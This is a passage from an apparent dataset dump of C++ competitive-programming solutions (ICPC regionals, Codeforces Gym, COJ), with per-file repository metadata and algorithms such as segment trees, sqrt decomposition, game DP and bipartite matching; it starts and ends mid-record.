ACM-ICPC East Central North America Regional Contest (ECNA 2017)\n// 101673D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nint n, m;\nstack<int> s;\nint egg = 0;\nvoid rot( int x ){\n egg = s.top();\n egg += x;\n egg %= n;\n egg = (egg + n)%n;\n s.push(egg);\n}\nvoid undo( int x ){\n while( x-- )\n s.pop();\n egg = s.top();\n}\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n cin >> n >> m;\n s.push(egg);\n for( int i = 0, x;i < m; i++ ){\n string t;\n cin >> t;\n if( t == \"undo\" ){\n cin >> x;\n undo(x);\n }\n else{\n stringstream fi(t);\n fi >> x;\n rot(x);\n }\n //cerr << egg << endl;\n }\n cout << egg << '\\n';\n}\n" }, { "alpha_fraction": 0.35620301961898804, "alphanum_fraction": 0.3900375962257385, "avg_line_length": 19.86274528503418, "blob_id": "787f019cbc2cb150dc6f2be8ccacdcdd52092f3a", "content_id": "8874a35cb46e297ec57251a7b13973c16cd87848", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1064, "license_type": "no_license", "max_line_length": 90, "num_lines": 51, "path": "/Codeforces-Gym/101630 - 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)\n// 101630E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint items[2000];\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n int n;\n cin >> n;\n vector<int> ans;\n bool imposible = false;\n for( int i = 0,x; i < n && !imposible; i++ ){\n cin >> x;\n if( x >= 0 )\n items[x]++;\n else{\n if( x < 0 )\n x *= -1;\n if( items[x] > 0 ){\n items[x]--;\n }\n else if( items[0] > 0 ){\n items[0]--;\n ans.push_back( x );\n }\n else{\n imposible = true;\n\n }\n }\n }\n\n while( items[0] > 0 ){\n items[0]--;\n ans.push_back( 1 );\n }\n if( imposible )\n cout << \"No\\n\";\n else{\n cout << \"Yes\\n\";\n for( int i = 0; i < ans.size(); i++ ){\n cout << ans[i] << \" \\n\"[i+1==ans.size()];\n }\n }\n}\n" }, { "alpha_fraction": 0.39862069487571716, "alphanum_fraction": 0.41517242789268494, "avg_line_length": 15.682927131652832, "blob_id": "154332c0ee1ffc36b8051cf6365a2ddf75993acc", "content_id": "5be7f551244485bcf4a5faa180bc01829fcf63a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 725, "license_type": "no_license", "max_line_length": 45, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p3536-Accepted-s915273.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 505;\r\n\r\nint n;\r\nint arr[N * N];\r\nint ans[N];\r\nmap <int, int> M;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n * n; i++) {\r\n\t\tcin >> arr[i];\r\n\t\tM[arr[i]]++;\r\n\t}\r\n\tsort(arr, arr + (n * n), greater <int>());\r\n\tint pos = 0;\r\n\tfor (int i = 0; pos < n && i < n * n; i++) {\r\n\t\tif (M[arr[i]] > 0) {\r\n\t\t\tans[pos] = arr[i];\r\n\t\t\tfor (int j = 0; j < pos; j++) {\r\n\t\t\t\tM[__gcd(ans[j], ans[pos])] -= 2;\r\n\t\t\t}\r\n\t\t\tM[ans[pos]]--;\r\n\t\t\tpos++;\r\n\t\t}\r\n\t}\r\n\tsort(ans, ans + n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << ans[i];\r\n\t\tif (i + 1 < n) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4687842130661011, "alphanum_fraction": 0.4819277226924896, "avg_line_length": 13.474575996398926, "blob_id": "5a28cdbab0e232ce0f2e9464b96f061127a1b2a5", "content_id": "c07a6bcc4235a9dd6add2f114e52cbd85aaf97b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 913, "license_type": "no_license", "max_line_length": 54, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p2321-Accepted-s924107.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst double EPS = 1e-9;\r\n\r\nint t;\r\nint k;\r\ndouble n;\r\ndouble f[15];\r\n\r\nstruct cmp {\r\n\tbool operator () (const double &a, const double &b) {\r\n\t\tif (a < b && fabs(b - a) > EPS) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n};\r\n\r\nmap <double, bool, cmp> dp;\r\nmap <double, bool, cmp>::iterator it;\r\n\r\nbool solve(double x) {\r\n\tif (x <= 1.0 + 1e-14) {\r\n\t\treturn false;\r\n\t}\r\n\tit = dp.find(x);\r\n\r\n\tif (it != dp.end()) {\r\n\t\treturn it->second;\r\n\t}\r\n\r\n\tfor (int i = 0; i < k; i++) {\r\n\t\tif (!solve(x * f[i])) {\r\n\t\t\tdp[x] = true;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\tdp[x] = false;\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> k;\r\n\t\tfor (int i = 0; i < k; i++) {\r\n\t\t\tcin >> f[i];\r\n\t\t}\r\n\t\tsort(f, f + k);\r\n\t\tdp.clear();\r\n\t\tcout << (!solve(n) ? \"Mikael\" : \"Nils\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42155060172080994, "alphanum_fraction": 0.4336399435997009, "avg_line_length": 21.20121955871582, "blob_id": "073c1c8d1b20bb0ebe2e2cd72bcf50324b5c3c8b", "content_id": "cce9c7233938c7695bac67775035c551b682f94e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3805, "license_type": "no_license", "max_line_length": 87, "num_lines": 164, "path": "/COJ/eliogovea-cojAC/eliogovea-p3666-Accepted-s959746.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 200005;\r\ntypedef long long LL;\r\n\r\nint n, q;\r\nLL h[N];\r\nint id[N];\r\nint blockSize;\r\nvector <LL> block[1000];\r\nLL lazy[1000];\r\n\r\nvoid build() {\r\n\tblockSize = sqrt((double)n) + 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tid[i] = i / blockSize;\r\n\t\tblock[id[i]].push_back(h[i]);\r\n\t}\r\n\tfor (int i = 0; i <= id[n - 1]; i++) {\r\n\t\tsort(block[i].begin(), block[i].end());\r\n\t}\r\n}\r\n\r\nvoid update(int l, int r, LL v) {\r\n\tif (l > r) {\r\n\t\tswap(l, r);\r\n\t}\r\n\tif (v == 0) {\r\n\t\treturn;\r\n\t}\r\n\tif (id[l] == id[r]) {\r\n\t\tfor (int i = 0; i < blockSize && id[l] * blockSize + i < n; i++) {\r\n\t\t\th[id[l] * blockSize + i] += lazy[id[l]];\r\n\t\t}\r\n\t\tlazy[id[l]] = 0;\r\n\t\tfor (int i = l; i <= r; i++) {\r\n\t\t\th[i] += v;\r\n\t\t}\r\n\t\tfor (int i = 0; i < blockSize && id[l] * blockSize + i < n; i++) {\r\n\t\t\tblock[id[l]][i] = h[id[l] * blockSize + i];\r\n\t\t}\r\n\t\tsort(block[id[l]].begin(), block[id[l]].end());\r\n\t} else {\r\n\t\tif (l % blockSize != 0) {\r\n\t\t\tfor (int i = 0; i < blockSize && id[l] * blockSize + i < n; i++) {\r\n\t\t\t\th[id[l] * blockSize + i] += lazy[id[l]];\r\n\t\t\t}\r\n\t\t\tlazy[id[l]] = 0;\r\n\t\t\tint nextl = (id[l] + 1) * blockSize;\r\n\t\t\tfor (int i = l; i < nextl; i++) {\r\n\t\t\t\th[i] += v;\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < blockSize && id[l] * blockSize + i < n; i++) {\r\n\t\t\t\tblock[id[l]][i] = h[id[l] * blockSize + i];\r\n\t\t\t}\r\n\t\t\tsort(block[id[l]].begin(), block[id[l]].end());\r\n\t\t\tl = nextl;\r\n\t\t}\r\n\t\tif (r % blockSize != blockSize - 1) {\r\n\t\t\tfor (int i = 0; i < blockSize && id[r] * blockSize + i < n; i++) {\r\n\t\t\t\th[id[r] * blockSize + i] += lazy[id[r]];\r\n\t\t\t}\r\n\t\t\tlazy[id[r]] = 0;\r\n\t\t\tint prevr = id[r] * blockSize - 1;\r\n\t\t\tfor (int i = r; i > prevr; i--) {\r\n\t\t\t\th[i] += v;\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < blockSize && id[r] * blockSize + i < n; i++) {\r\n\t\t\t\tblock[id[r]][i] = h[id[r] * blockSize + i];\r\n\t\t\t}\r\n\t\t\tsort(block[id[r]].begin(), block[id[r]].end());\r\n\t\t\tr = prevr;\r\n\t\t}\r\n\t\tfor (int i = id[l]; i <= id[r]; i++) {\r\n\t\t\tlazy[i] += v;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nLL query(int l, int r) {\r\n\tif (l > r) {\r\n\t\tswap(l, r);\r\n\t}\r\n\tLL val = max(h[l] + lazy[id[l]], h[r] + lazy[id[r]]);\r\n\tif (id[l] == id[r]) {\r\n\t\tint res = 0;\r\n\t\tfor (int i = l; i <= r; i++) {\r\n\t\t\tif (h[i] + lazy[id[i]] > val) {\r\n\t\t\t\tres++;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn res;\r\n\t}\r\n\tint res = 0;\r\n\tif (l % blockSize != 0) {\r\n\t\tfor (int i = 0; i < blockSize && id[l] * blockSize + i < n; i++) {\r\n\t\t\th[id[l] * blockSize + i] += lazy[id[l]];\r\n\t\t}\r\n\t\tlazy[id[l]] = 0;\r\n\t\tfor (int i = 0; i < blockSize && id[l] * blockSize + i < n; i++) {\r\n\t\t\tblock[id[l]][i] = h[id[l] * blockSize + i];\r\n\t\t}\r\n\t\tsort(block[id[l]].begin(), block[id[l]].end());\r\n\t\tint nextl = (id[l] + 1) * blockSize;\r\n\t\tfor (int i = l; i < nextl; i++) {\r\n\t\t\tif (h[i] > val) {\r\n\t\t\t\tres++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tl = nextl;\r\n\t}\r\n\tif (r % blockSize != blockSize - 1) {\r\n\t\tfor (int i = 0; i < blockSize && id[r] * blockSize + i < n; i++) {\r\n\t\t\th[id[r] * blockSize + i] += lazy[id[r]];\r\n\t\t}\r\n\t\tlazy[id[r]] = 0;\r\n\t\tfor (int i = 0; i < blockSize && id[r] * blockSize + i < n; i++) {\r\n\t\t\tblock[id[r]][i] = h[id[r] * blockSize + i];\r\n\t\t}\r\n\t\tsort(block[id[r]].begin(), block[id[r]].end());\r\n\t\tint prevr = id[r] * blockSize - 1;\r\n\t\tfor (int i = r; i > prevr; i--) {\r\n\t\t\tif (h[i] > val) {\r\n\t\t\t\tres++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tr = prevr;\r\n\t}\r\n\tfor (int i = id[l]; i <= id[r]; i++) {\r\n\t\tres += block[i].end() - upper_bound(block[i].begin(), block[i].end(), val - lazy[i]);\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> q;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> h[i];\r\n\t}\r\n\tbuild();\r\n\twhile (q--) {\r\n\t\tchar ch;\r\n\t\tcin >> ch;\r\n\t\tif (ch == 'Q') {\r\n\t\t\tint l, r;\r\n\t\t\tcin >> l >> r;\r\n\t\t\tl--;\r\n\t\t\tr--;\r\n\t\t\tcout << query(l, r) << \"\\n\";\r\n\t\t} else {\r\n\t\t\tint l, r;\r\n\t\t\tLL v;\r\n\t\t\tcin >> l >> r >> v;\r\n\t\t\tl--;\r\n\t\t\tr--;\r\n\t\t\tupdate(l, r, v);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4310953915119171, "alphanum_fraction": 0.4416961073875427, "avg_line_length": 14.647058486938477, "blob_id": "eeca1157a5d5156dd5d5eb736ea62d5b69cc6705", "content_id": "ffb71ff8d5a386f3ae74f69498b4796974af382b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 283, "license_type": "no_license", "max_line_length": 57, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p2508-Accepted-s544040.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nstring s;\r\nint c,sol;\r\n\r\nint main()\r\n{\r\n cin >> s;\r\n for(string::iterator si=s.begin(); si!=s.end(); si++)\r\n {\r\n if(*si=='(')c++;\r\n else c--;\r\n if(c<0)sol++,c+=2;\r\n }\r\n cout << sol+int(c/2) << endl;\r\n}\r\n" }, { "alpha_fraction": 0.37904125452041626, "alphanum_fraction": 0.411928653717041, "avg_line_length": 20.35714340209961, "blob_id": "5e724d0f7237cc0eb89c827496b620ab6a3ab4e1", "content_id": "9edd5f0eb91d0672b9391e504a8c57bccbd400cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1794, "license_type": "no_license", "max_line_length": 79, "num_lines": 84, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/J1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100 * 1000;\nconst int INF = 1e9;\n\nint a[N + 10];\npair <int, int> st[4 * N + 10];\n\npair <int, int> add(const pair <int, int> & a, const pair <int, int> & b) {\n return make_pair(min(a.first, b.first), max(a.second, b.second));\n}\n\nvoid build(int x, int l, int r) {\n if (l == r) {\n st[x] = make_pair(a[l], a[l]);\n } else {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n st[x] = add(st[2 * x], st[2 * x + 1]);\n }\n}\n\nvoid update(int x, int l, int r, int p, int v) {\n if (p < l || r < p) {\n return;\n }\n if (l == r) {\n st[x] = make_pair(v, v);\n } else {\n int m = (l + r) >> 1;\n update(2 * x, l, m, p, v);\n update(2 * x + 1, m + 1, r, p, v);\n st[x] = add(st[2 * x], st[2 * x + 1]);\n }\n}\n\npair <int, int> query(int x, int l, int r, int ql, int qr) {\n if (l > qr || r < ql) {\n return make_pair(INF, -INF);\n }\n if (l >= ql && r <= qr) {\n return st[x];\n }\n int m = (l + r) >> 1;\n return add(query(2 * x, l, m, ql, qr), query(2 * x + 1, m + 1, r, ql, qr));\n}\n\nconst int M1 = 12345;\nconst int M2 = 23456;\n\nint gen(long long x) {\n int a = x * x % M1;\n int b = ((x * x % M2) * x) % M2;\n return a + b;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n for (int i = 1; i <= N; i++) {\n a[i] = gen(i);\n }\n\n build(1, 1, N);\n int k;\n cin >> k;\n while (k--) {\n int l, r;\n cin >> l >> r;\n\n if (l > 0) {\n pair <int, int> ans = query(1, 1, N, l, r);\n cout << ans.second - ans.first << \"\\n\";\n } else {\n update(1, 1, N, -l, r);\n }\n }\n}\n" }, { "alpha_fraction": 0.5927602052688599, "alphanum_fraction": 0.5972850918769836, "avg_line_length": 11.8125, "blob_id": "f594a0dde92711b8744dfa88765362000a4ebd6f", "content_id": "fc556626d6711b1863b479636d8ced5a539eb9b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 221, "license_type": "no_license", "max_line_length": 42, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2363-Accepted-s550173.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nstring num,aux;\r\n\r\nint main()\r\n{\r\n\tcin >> num;\r\n\taux=num;\r\n\r\n\tnext_permutation(aux.begin(), aux.end());\r\n\r\n\tif(aux>num)cout << aux;\r\n\telse cout << '0';\r\n}\r\n" }, { "alpha_fraction": 0.35348838567733765, "alphanum_fraction": 0.37674418091773987, "avg_line_length": 17.545454025268555, "blob_id": "f48c614c4df4ea79a90b1a86920123e61e71e7f8", "content_id": "0fb3b196c75d7b6389a4ddc0e5eeb481a3617243", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 430, "license_type": "no_license", "max_line_length": 92, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p1609-Accepted-s603811.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nint tc, x, arr[1010];\r\n\r\nvoid f(int n, int ind, int last) {\r\n\tif (n == 0) {\r\n\t printf(\"%d = \", x);\r\n for (int i = 0; i < ind; i++) printf(\"%d%s\", arr[i], (i != ind - 1) ? \" + \" : \"\\n\");\r\n }\r\n\tfor (int i = last; i <= n; i++) {\r\n\t arr[ind] = i;\r\n\t\tf(n - i, ind + 1, i);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tfor (scanf(\"%d\", &tc); tc--;) {\r\n\t\tscanf(\"%d\", &x);\r\n\t\tf(x, 0, 1);\r\n\t\tif (tc) printf(\"\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36206895112991333, "alphanum_fraction": 0.4166666567325592, "avg_line_length": 23.85714340209961, "blob_id": "6ba65ba90f5c91049bc191d826d4f0a2b85d8b00", "content_id": "db5bcc0667382e3ec2e299d8d4a9299e1f0f8ee3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 696, "license_type": "no_license", "max_line_length": 76, "num_lines": 28, "path": "/Codeforces-Gym/100685 - 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100685I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nLL W, H, w, h;\n\nint main() {\n //ios::sync_with_stdio(false);\n //cin.tie(0);\n cin >> W >> H >> w >> h;\n LL x = W / w;\n LL y = H / h;\n LL ans = x * y;\n LL Wr = W % w;\n LL Hr = H % h;\n LL hh = Hr ? h / Hr : -1;\n LL ww = Wr ? w / Wr : -1;\n LL v1 = (Hr ? (x + hh - 1) / hh : 0) + (Wr ? (y + ww - 1) / ww : 0) + 1;\n LL v2 = (Hr ? (x + 1 + hh - 1) / hh : 0) + (Wr ? (y + ww - 1) / ww : 0);\n LL v3 = (Hr ? (x + hh - 1) / hh : 0) + (Wr ? (y + 1 + ww - 1) / ww : 0);\n ans += min(v1, min(v2, v3));\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3908948302268982, "alphanum_fraction": 0.39717426896095276, "avg_line_length": 14.763157844543457, "blob_id": "113e628d4bea8d112665df384c73a7721b4b572e", "content_id": "3976875c22d90fe833ab29f809b8900acd47b60f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 637, "license_type": "no_license", "max_line_length": 37, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2815-Accepted-s628031.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nstring a, b, aux;\r\n\r\nbool match() {\r\n\tint sa = a.size(), sb = b.size();\r\n\tif (sa < sb) return false;\r\n\tfor (int i = 0; i <= sa - sb; i++) {\r\n\t\tbool m = true;\r\n\t\tfor (int j = 0; j < sb; j++)\r\n\t\t\tif (a[i + j] != b[j]) {\r\n\t\t\t\tm = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tif (m) {\r\n\t\t\taux = \"\";\r\n\t\t\tfor (int k = 0; k < sa; k++)\r\n\t\t\t\tif (!(k >= i && k < i + sb))\r\n\t\t\t\t\taux += a[k];\r\n\t\t\ta = aux;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint tc, sol;\r\n\r\nint main() {\r\n cin >> tc;\r\n\twhile (tc--) {\r\n cin >> a >> b;\r\n sol = 0;\r\n\t\twhile (match()) sol++;\r\n\t\tcout << sol << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.41483980417251587, "alphanum_fraction": 0.4502529501914978, "avg_line_length": 15.441176414489746, "blob_id": "fc425dd45c05c859700b87a5452efe48eb688140", "content_id": "e68773d92d77963df5991fe7b39234592a8af8bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 593, "license_type": "no_license", "max_line_length": 35, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3539-Accepted-s1009629.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tlong long w;\r\n\tcin >> n >> w;\r\n\tvector <int> h(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> h[i];\r\n\t}\r\n\tlong long lo = 0;\r\n\tlong long hi = 1000000000000LL;\r\n\tlong long ans = lo;\r\n\twhile (lo <= hi) {\r\n\t\tlong long mid = (lo + hi) >> 1LL;\r\n\t\tlong long sum = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (h[i] >= mid) {\r\n\t\t\t\tsum += h[i] - mid;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (sum >= w) {\r\n\t\t\tans = mid;\r\n\t\t\tlo = mid + 1LL;\r\n\t\t} else {\r\n\t\t\thi = mid - 1LL;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.44107744097709656, "alphanum_fraction": 0.44781145453453064, "avg_line_length": 12.487804412841797, "blob_id": "6cdce4b02e0f96da1434a6569d8a235495309e23", "content_id": "744f70f107f2b7df76e8d821ad585473884a95e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 594, "license_type": "no_license", "max_line_length": 34, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p3164-Accepted-s784735.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll inf = 1e9 + 7;\r\n\r\nint n;\r\nll x, y;\r\nll maxx = -inf, maxy = -inf;\r\nll minx = inf, miny = inf;\r\nll dx, dy;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\twhile (n--) {\r\n\t\tcin >> x >> y;\r\n\t\tif (x > maxx) {\r\n\t\t\tmaxx = x;\r\n\t\t}\r\n\t\tif (x < minx) {\r\n\t\t\tminx = x;\r\n\t\t}\r\n\t\tif (y > maxy) {\r\n\t\t\tmaxy = y;\r\n\t\t}\r\n\t\tif (y < miny) {\r\n\t\t\tminy = y;\r\n\t\t}\r\n\t}\r\n\tdx = maxx - minx;\r\n\tdy = maxy - miny;\r\n\tif (dy > dx) {\r\n\t\tdx = dy;\r\n\t}\r\n\tcout << dx * dx << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3641025722026825, "alphanum_fraction": 0.4000000059604645, "avg_line_length": 13.600000381469727, "blob_id": "9345552106bb2d6562dc5dcd24cbfcbac12b63dc", "content_id": "b2ee58a5be0839e35f5a574476a7564e0d5b98c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 390, "license_type": "no_license", "max_line_length": 31, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p3105-Accepted-s757076.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst long long mod = 1e9 + 7;\r\nconst int N = 1000005;\r\n\r\nlong long l, s, t, dp[N];\r\n\r\nint main() {\r\n\tcin >> l >> s >> t;\r\n\tdp[0] = 1;\r\n\tfor (int i = 1; i <= l; i++) {\r\n\t\tdp[i] = 0;\r\n\t\tif (i >= s) {\r\n\t\t\tdp[i] += dp[i - s];\r\n\t\t\tdp[i] %= mod;\r\n\t\t}\r\n\t\tif (i >= t) {\r\n\t\t\tdp[i] += dp[i - t];\r\n\t\t\tdp[i] %= mod;\r\n\t\t}\r\n\t}\r\n\tcout << dp[l] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3623034358024597, "alphanum_fraction": 0.37441563606262207, "avg_line_length": 18.29310417175293, "blob_id": "e54bd1dba87afdaade1c21f60e37f6236e514339", "content_id": "df07a6097ada4c65db9bd4b4fb1d25aa331d3f5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4706, "license_type": "no_license", "max_line_length": 103, "num_lines": 232, "path": "/COJ/eliogovea-cojAC/eliogovea-p3629-Accepted-s1009517.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 805;\r\n\r\nint n, m;\r\nstring mat[N];\r\n\r\nint used[N * N];\r\nint match[N * N];\r\nint nh, nv;\r\nvector <int> xh, yh, lh;\r\nvector <int> xv, yv, lv;\r\n\r\nint matchH[N * N];\r\nint matchV[N * N];\r\n\r\nint id;\r\n\r\nvector <int> graph[N * N];\r\n\r\nvector <int> graphV[N * N];\r\n\r\nbool dfs(int u) {\r\n\tif (used[u] == id) {\r\n\t\treturn false;\r\n\t}\r\n\tused[u] = id;\r\n\tfor (int i = 0; i < graph[u].size(); i++) {\r\n\t\tint v = graph[u][i];\r\n\t\tif (matchH[v] == -1 || dfs(matchH[v])) {\r\n\t\t\tmatchH[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nbool markH[N * N];\r\nbool markV[N * N];\r\n\r\nbool possibleH[N * N];\r\nbool possibleV[N * N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\twhile (cin >> n >> m) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> mat[i];\r\n\t\t}\r\n\t\txh.clear();\r\n\t\tyh.clear();\r\n\t\tlh.clear();\r\n\t\tfor (int r = 0; r < n; r++) {\r\n\t\t\tfor (int c = 0, last = 0; c <= m; c++) {\r\n\t\t\t\tif (c == m || mat[r][c] == '.') {\r\n\t\t\t\t\tif (mat[r][last] == '*') {\r\n\t\t\t\t\t\txh.push_back(r);\r\n\t\t\t\t\t\tyh.push_back(last);\r\n\t\t\t\t\t\tlh.push_back(c - last);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tlast = c;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (mat[r][last] == '.') {\r\n\t\t\t\t\t\tlast = c;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\txv.clear();\r\n\t\tyv.clear();\r\n\t\tlv.clear();\r\n\t\tfor (int c = 0; c < m; c++) {\r\n\t\t\tfor (int r = 0, last = 0; r <= n; r++) {\r\n\t\t\t\tif (r == n || mat[r][c] == '.') {\r\n\t\t\t\t\tif (mat[last][c] == '*') {\r\n\t\t\t\t\t\txv.push_back(last);\r\n\t\t\t\t\t\tyv.push_back(c);\r\n\t\t\t\t\t\tlv.push_back(r - last);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tlast = r;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (mat[last][c] == '.') {\r\n\t\t\t\t\t\tlast = r;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tnh = xh.size();\r\n\t\tnv = xv.size();\r\n\r\n\t\tfor (int i = 0; i < nh; i++) {\r\n\t\t\tgraph[i].clear();\r\n\t\t}\r\n\r\n\t\tfor (int i = 0; i < nv; i++) {\r\n\t\t\tgraphV[i].clear();\r\n\t\t}\r\n\r\n\t\tfor (int i = 0; i < nh; i++) {\r\n\t\t\tfor (int j = 0; j < nv; j++) {\r\n\t\t\t\tif (xv[j] <= xh[i] && xh[i] <= xv[j] + lv[j] - 1 && yh[i] <= yv[j] && yv[j] <= yh[i] + lh[i] - 1) 